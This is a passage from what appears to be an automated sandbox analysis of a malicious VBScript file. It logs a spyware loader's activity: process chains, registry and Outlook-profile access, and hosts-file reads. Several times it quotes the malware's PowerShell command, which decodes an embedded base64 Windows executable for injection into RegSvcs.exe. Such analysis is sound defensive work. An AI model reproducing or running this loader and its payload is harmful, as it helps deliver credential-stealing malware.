nAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilbo13zy.j2f.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@6/3@3/3

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_01

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs"

Source: wscript.exe, 00000000.00000002.302919745.000001D52AC98000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAA", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05CFCF92 push esp; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05CFF588 pushad ; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05CFED90 pushad ; iretd

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
